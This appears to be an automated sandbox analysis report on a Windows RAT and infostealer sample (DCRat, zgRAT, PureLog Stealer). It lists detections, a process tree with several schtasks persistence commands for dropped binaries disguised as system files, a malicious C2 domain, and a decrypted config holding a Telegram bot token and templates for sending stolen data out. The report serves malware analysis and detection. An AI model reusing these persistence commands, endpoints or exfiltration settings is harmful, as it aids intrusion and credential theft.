Edit tour

Windows Analysis Report
eP6sjvTqJa.exe

Overview

General Information

Sample name:	eP6sjvTqJa.exe renamed because original name is a hash value
Original sample name:	f0944c44a97161524ce95c9f8a2629f9.exe
Analysis ID:	1583030
MD5:	f0944c44a97161524ce95c9f8a2629f9
SHA1:	064fde39864f9095d21fde250473d0a39d6b15b3
SHA256:	06c99a90dd5ad6dfb77196b202d73b6cffe2915cf9edc372da859c62ac0bc2e7
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

AI detected suspicious sample

Creates processes via WMI

Drops PE files to the user root directory

Drops executable to a common third party application directory

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Files With System Process Name In Unsuspected Locations

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

eP6sjvTqJa.exe (PID: 2360 cmdline: "C:\Users\user\Desktop\eP6sjvTqJa.exe" MD5: F0944C44A97161524CE95C9F8A2629F9)

wscript.exe (PID: 4776 cmdline: "C:\Windows\System32\WScript.exe" "C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 3768 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Drivers\SE7AQJDJtAMXQraxpdEvOEZ68dJxrB3UY7MvAzdsW8.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fontdrvhost.exe (PID: 3084 cmdline: "C:\/Drivers/fontdrvhost.exe" MD5: 0F52130D0A1ABBE40D9F582B1F95A3E3)

schtasks.exe (PID: 3640 cmdline: schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 5 /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4196 cmdline: schtasks.exe /create /tn "AdbXCBUViTnoVBSsOq" /sc ONLOGON /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2056 cmdline: schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 11 /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6008 cmdline: schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3416 cmdline: schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7060 cmdline: schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3564 cmdline: schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\Local Settings\History\AdbXCBUViTnoVBSsOq.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5412 cmdline: schtasks.exe /create /tn "AdbXCBUViTnoVBSsOq" /sc ONLOGON /tr "'C:\Users\Default User\Local Settings\History\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6284 cmdline: schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Local Settings\History\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3172 cmdline: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Users\user\backgroundTaskHost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1372 cmdline: schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\user\backgroundTaskHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3260 cmdline: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 9 /tr "'C:\Users\user\backgroundTaskHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1268 cmdline: schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7096 cmdline: schtasks.exe /create /tn "AdbXCBUViTnoVBSsOq" /sc ONLOGON /tr "'C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3040 cmdline: schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3224 cmdline: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Drivers\fontdrvhost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5632 cmdline: schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Drivers\fontdrvhost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3660 cmdline: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Drivers\fontdrvhost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 6072 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\vK5Z1luEHZ.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 4052 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 6524 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

fontdrvhost.exe (PID: 7192 cmdline: "C:\Drivers\fontdrvhost.exe" MD5: 0F52130D0A1ABBE40D9F582B1F95A3E3)

AdbXCBUViTnoVBSsOq.exe (PID: 7048 cmdline: "C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe" MD5: 0F52130D0A1ABBE40D9F582B1F95A3E3)

AdbXCBUViTnoVBSsOq.exe (PID: 1016 cmdline: "C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe" MD5: 0F52130D0A1ABBE40D9F582B1F95A3E3)

fontdrvhost.exe (PID: 6528 cmdline: C:\Drivers\fontdrvhost.exe MD5: 0F52130D0A1ABBE40D9F582B1F95A3E3)

fontdrvhost.exe (PID: 4328 cmdline: C:\Drivers\fontdrvhost.exe MD5: 0F52130D0A1ABBE40D9F582B1F95A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
eP6sjvTqJa.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
eP6sjvTqJa.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\backgroundTaskHost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\backgroundTaskHost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Internet Explorer\en-US\conhost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Internet Explorer\en-US\conhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Drivers\fontdrvhost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Drivers\fontdrvhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author
00000018.00000002.4579559349.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000003.2112514278.000000000556C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000018.00000002.4579559349.0000000003120000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000018.00000002.4579559349.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000000.2139475451.0000000000152000.00000002.00000001.01000000.0000000A.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000003.2110949935.0000000006C2F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.2222372567.00000000128A0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000018.00000002.4579559349.0000000002A07000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fontdrvhost.exe PID: 3084	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: AdbXCBUViTnoVBSsOq.exe PID: 7048	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.eP6sjvTqJa.exe.6c7d6f3.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.eP6sjvTqJa.exe.6c7d6f3.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.eP6sjvTqJa.exe.55ba6f3.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.eP6sjvTqJa.exe.55ba6f3.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.eP6sjvTqJa.exe.55ba6f3.1.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.eP6sjvTqJa.exe.55ba6f3.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.3.eP6sjvTqJa.exe.6c7d6f3.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.3.eP6sjvTqJa.exe.6c7d6f3.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.0.fontdrvhost.exe.150000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
5.0.fontdrvhost.exe.150000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.2.fontdrvhost.exe.128bc1d8.9.raw.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\eP6sjvTqJa.exe, ProcessId: 2360, TargetFilename: C:\Drivers\fontdrvhost.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\eP6sjvTqJa.exe", ParentImage: C:\Users\user\Desktop\eP6sjvTqJa.exe, ParentProcessId: 2360, ParentProcessName: eP6sjvTqJa.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe" , ProcessId: 4776, ProcessName: wscript.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /f, CommandLine: schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\/Drivers/fontdrvhost.exe", ParentImage: C:\Drivers\fontdrvhost.exe, ParentProcessId: 3084, ParentProcessName: fontdrvhost.exe, ProcessCommandLine: schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Internet Explorer\en-US\conhost.exe'" /f, ProcessId: 6008, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:15.989325+0100	2048095	1	A Network Trojan was detected	192.168.2.6	49735	104.21.38.84	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:09.731720+0100	2803305	3	Unknown Traffic	192.168.2.6	49711	34.117.59.81	443	TCP

Joe Security ANOMALY Telegram Send Photo

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T16:02:10.878208+0100	1810009	1	Potentially Bad Traffic	192.168.2.6	49712	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: eP6sjvTqJa.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://250345cm.renyash.ru/sqltemp.php	Avira URL Cloud: Label: malware
Source: http://250345cm.renyash.ru/	Avira URL Cloud: Label: malware
Source: http://250345cm.renyash.ru	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\vK5Z1luEHZ.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\backgroundTaskHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\PjHeJXVW.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Drivers\fontdrvhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files\Internet Explorer\en-US\conhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\lNXiOOwv.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\Desktop\rfCzNWvT.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\Desktop\beESemrN.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb

Multi AV Scanner detection for dropped file

Source: C:\Drivers\fontdrvhost.exe	ReversingLabs: Detection: 75%
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	ReversingLabs: Detection: 75%
Source: C:\Program Files\Internet Explorer\en-US\conhost.exe	ReversingLabs: Detection: 75%
Source: C:\Users\Default\AppData\Local\Microsoft\Windows\History\AdbXCBUViTnoVBSsOq.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\Desktop\OwXMDaSq.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\PjHeJXVW.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\beESemrN.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\crKSmbgv.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\lNXiOOwv.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\rfCzNWvT.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\backgroundTaskHost.exe	ReversingLabs: Detection: 75%
Source: C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: eP6sjvTqJa.exe	Virustotal: Detection: 59%			Perma Link
Source: eP6sjvTqJa.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Joe Sandbox ML: detected
Source: C:\Users\user\backgroundTaskHost.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\JRcNKQWy.log	Joe Sandbox ML: detected
Source: C:\Drivers\fontdrvhost.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Internet Explorer\en-US\conhost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\UXZdmUkL.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\lNXiOOwv.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rWShinUN.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rfCzNWvT.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\rFAHquBj.log	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: eP6sjvTqJa.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2222372567.00000000128A0000.00000004.00000800.00020000.00000000.sdmp	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Smart","_1":"False","_2":"False","_3":"False"},"TelegramNotifer":{"chatid":"6283373442","bottoken":"8143016568:AAEvmfltzzwYHiQ7qyRFPs1EAB_RQhZk4kg","settings":"new user connect !\nID: {USERID}\nComment: {COMMENT}\nUsername: {USERNAME}\nPC Name: {PCNAME}\nIP: {IP}\nGEO: {GEO}","sendmessageonce":"True","sendloginfostealer":"True","stealersetting":"Log collected\nID: {USERID}\nComment: {COMMENT}\nLog size: {SIZE}"},"90f3c523-0b6b-4956-a617-29c89ed8da84":{"_0":"mail.google.com;example.com;any.domain.net","_1":"mail.google.com;example.com;any.domain.net"}}
Source: 00000005.00000002.2222372567.00000000128A0000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","fontdrvhost","0","NEWORK PC","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGtTRW94V2xOSmMwbHFUV2xQYVVvd1kyNVdiRWxwZDJsT1EwazJTVzVTZVdSWFZXbE1RMGt4U1dwdmFXUklTakZhVTBselNXcFphVTlwU2pCamJsWnNTV2wzYVU1NVNUWkpibEo1WkZkVmFVeERTVFJKYW05cFpFaEtNVnBUU1hOSmFtdHBUMmxLTUdOdVZteEphWGRwVFZSQmFVOXBTakJqYmxac1NXbDNhVTFVUldsUGFVb3dZMjVXYkVscGQybE5WRWxwVDJsS01HTnVWbXhKYVhkcFRWUk5hVTlwU2pCamJsWnNTV2wzYVUxVVVXbFBhVW93WTI1V2JFbHVNRDBpWFE9PSJd"]

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Drivers\fontdrvhost.exe

Unpacked PE file: 5.2.fontdrvhost.exe.2520000.7.unpack

Source: eP6sjvTqJa.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Drivers\fontdrvhost.exe	Directory created: C:\Program Files\Internet Explorer\en-US\conhost.exe			Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Directory created: C:\Program Files\Internet Explorer\en-US\088424020bedd6			Jump to behavior

Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49779 version: TLS 1.2

Source: eP6sjvTqJa.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: eP6sjvTqJa.exe

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B8A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00B8A69B
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B9C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00B9C220
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00BAB348 FindFirstFileExA,	0_2_00BAB348

Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.6:49735 -> 104.21.38.84:80
